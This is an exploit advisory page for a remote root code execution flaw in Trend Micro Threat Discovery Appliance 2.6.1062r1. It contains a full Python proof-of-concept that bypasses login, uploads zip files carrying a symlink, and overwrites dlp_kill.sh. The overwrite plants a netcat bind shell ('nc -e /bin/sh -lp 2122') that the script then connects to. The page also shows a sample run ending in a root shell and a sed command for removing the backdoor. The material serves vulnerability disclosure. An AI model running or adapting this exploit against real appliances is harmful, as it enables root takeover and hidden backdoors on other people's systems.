Trend Micro TDA 2.6.1062r1 dlp_policy_upload.cgi Remote Code Execution

2017.04.20
Credit: Steven Seeley
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

#!/usr/local/bin/python """ Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Remote Code Execution Vulnerability Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ File: TDA_InstallationCD.2.6.1062r1.en_US.iso sha1: 8da4604c92a944ba8f7744641bce932df008f9f9 Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1 Summary: ======== The vulnerabity is that the dlp_policy_upload.cgi allows the upload of a zip file, located statically as: /var/dlp_policy.zip. The problem is that we can then get that file extracted using admin_dlp.cgi. This gets extracted into 2 locations: - /eng_ptn_stores/prod/sensorSDK/data/ - /eng_ptn_stores/prod/sensorSDK/backup_pol/ We can then use symlinks to craft a symlinked that points to /opt/TrendMicro/MinorityReport/bin/ ls -la /eng_ptn_stores/prod/sensorSDK/data/si lrwxrwxrwx 1 root root 35 Sep 3 01:22 /eng_ptn_stores/prod/sensorSDK/data/si -> /opt/TrendMicro/MinorityReport/bin/ Then, all we do is create /eng_ptn_stores/prod/sensorSDK/data/si/dlp_kill.sh with malicious code and get it executed... Notes: ====== - For this particular PoC, all I did was exec a bind shell using netcat showing that there is no firewall protections... - Auth is bypassed in case mr_me0410, so we can attack this with the default password... Exploitation ============ This is a clever trick, basically, we cant traverse since unzip checks for ../ (even though spec says its ok). We can still exploit this however by extracting a symlink to say a directory and then write into that directory. For example, if you wanted to link to /tmp you would ln -s /tmp/ pwn zip --symlinks -r foo.zip pwn Now foo.zip contains the symlink to /tmp. Once this is extracted, the symlink will be written to disk. All we need todo now is create another zip file with the folder and file... zip -r foo.zip pwn/hax.txt Now after extracting foo.zip, we will write hax.txt into /tmp. Of course, we can automate this magic via python. So, in summary, the steps to attack this target are: 1. Bypass auth via case mr_me0410 2. upload a zip with a symlink 3. trigger extraction, crafting the malicious symlink 4. upload another zip with the malicious dlp_kill.sh file 5. trigger extraction, the symlink fires and crushs /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh 6. trigger the execution of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh via admin_dlp.cgi Greetz to the busticati, you know who you are. My home boys. saturn:trend_micro_threat_discovery_dlp_policy_upload_rce mr_me$ ./poc.py (+) usage: ./poc.py <target> <pass> (+) eg: ./poc.py 172.16.175.123 admin saturn:trend_micro_threat_discovery_dlp_policy_upload_rce mr_me$ ./poc.py 172.16.175.123 admin123 (+) logged into the target... (+) performing initial preflight attack...! (+) uploading the zipped symlink... (+) successfuly uploaded the zipped symlink (+) extracting the symlink... (+) extracted the symlink! (+) uploading the zipped dlp_kill.sh... (+) successfuly uploaded the zipped log_cache.sh (+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/... (+) extracted the dlp_kill.sh file! (+) starting backdoor... (+) backdoor started ! (+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh ! (+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh id uid=0(root) gid=0(root) uname -a Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh #!/bin/sh kill `pidof sensorworker sensormain` for i in `seq 0 4`; do sleep 1; sid=`pidof sensormain` if [ "$sid" -eq "" ]; then break else if [ $i -eq 4 ]; then kill -9 $sid fi fi done `nc -e /bin/sh -lp 2122>/dev/null` sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh #!/bin/sh kill `pidof sensorworker sensormain` for i in `seq 0 4`; do sleep 1; sid=`pidof sensormain` if [ "$sid" -eq "" ]; then break else if [ $i -eq 4 ]; then kill -9 $sid fi fi done exit Cleanup: ======== We just use "sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh" to remove the last line of the script (the backdoor). """ import os import sys import time import zipfile import requests import threading from cStringIO import StringIO requests.packages.urllib3.disable_warnings() def _get_bd(): bd = """#!/bin/sh kill `pidof sensorworker sensormain` for i in `seq 0 4`; do sleep 1; sid=`pidof sensormain` if [ "$sid" -eq "" ]; then break else if [ $i -eq 4 ]; then kill -9 $sid fi fi done `%s>/dev/null` """ % c return bd def _build_zip(CREATE_SYMLINK=False): """ builds the zip file using a symlink attack into a folder... so we symlink the /opt/TrendMicro/MinorityReport/bin/ directory and then crush the dlp_kill.sh only to then later get it executed resulting in rce as root. """ if CREATE_SYMLINK: zipinfo = zipfile.ZipInfo() zipinfo.filename = u'si' zipinfo.external_attr |= 0120000 << 16L # symlink file type zipinfo.compress_type = zipfile.ZIP_STORED f = StringIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) if CREATE_SYMLINK: z.writestr(zipinfo, "/opt/TrendMicro/MinorityReport/bin/") else: zipinfo = zipfile.ZipInfo("si/dlp_kill.sh") zipinfo.external_attr = 0777 << 16L # give full access to included filezipinfo # backdooring code, as we do z.writestr(zipinfo, _get_bd()) z.close() test = open('hax.zip','wb') test.write(f.getvalue()) test.close() return f.getvalue() def we_can_upload_a_zip(CREATE_SYMLINK=False): """ uploads a zip file with php code inside to our target for exploitation """ multiple_files = { 'Q_UPLOAD_ID': (None, ''), 'binary1': ('pwn.zip', _build_zip(CREATE_SYMLINK), 'application/zip'), 'submit': (None, 'Import') } r = s.post(upload_url, files=multiple_files, verify=False) if r.status_code == 200: return True return False def unzip(): try: r = s.post(unzip_url, data={"act":"save","upload_status":"0"}, verify=False) except: pass return True def we_can_login(): r = s.post(login_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False) if "frame.cgi" in r.text: return True return False def main(): global c, s, t, p, login_url, unzip_url, upload_url if len(sys.argv) != 3: print "(+) usage: %s <target> <pass>" % sys.argv[0] print "(+) eg: %s 172.16.175.123 admin" % sys.argv[0] sys.exit(-1) t = sys.argv[1] p = sys.argv[2] bu = "https://%s/" % t login_url = "%scgi-bin/logon.cgi" % bu unzip_url = "%scgi-bin/admin_dlp.cgi" % bu upload_url = "%scgi-bin/dlp_policy_upload.cgi" % bu s = requests.Session() # 1st we bypass auth and login if we_can_login(): # we just use a bind, demonstrating that the target doesnt even have a proper firewall! c = "nc -e /bin/sh -lp 2122" print "(+) logged into the target..." print "(+) performing initial preflight attack...!" print "(+) uploading the zipped symlink..." # 2nd we upload symlink attack if we_can_upload_a_zip(CREATE_SYMLINK=True): print "(+) successfuly uploaded the zipped symlink" print "(+) extracting the symlink..." # 3rd we extract it unzip() print "(+) extracted the symlink!" time.sleep(2) # let the server process things print "(+) uploading the zipped dlp_kill.sh..." # 4th we upload the backdoor if we_can_upload_a_zip(CREATE_SYMLINK=False): print "(+) successfuly uploaded the zipped log_cache.sh" print "(+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/..." # 5th extract the backdoor, crushing /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh unzip() print "(+) extracted the dlp_kill.sh file!" print "(+) starting backdoor..." # 6th we trigger the exec of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh thread = threading.Thread(target=unzip, args=()) thread.daemon = True thread.start() print "(+) backdoor started !" print "(+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh !" print "(+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh" time.sleep(2) os.system("nc %s 2122" % t) if __name__ == '__main__': main()


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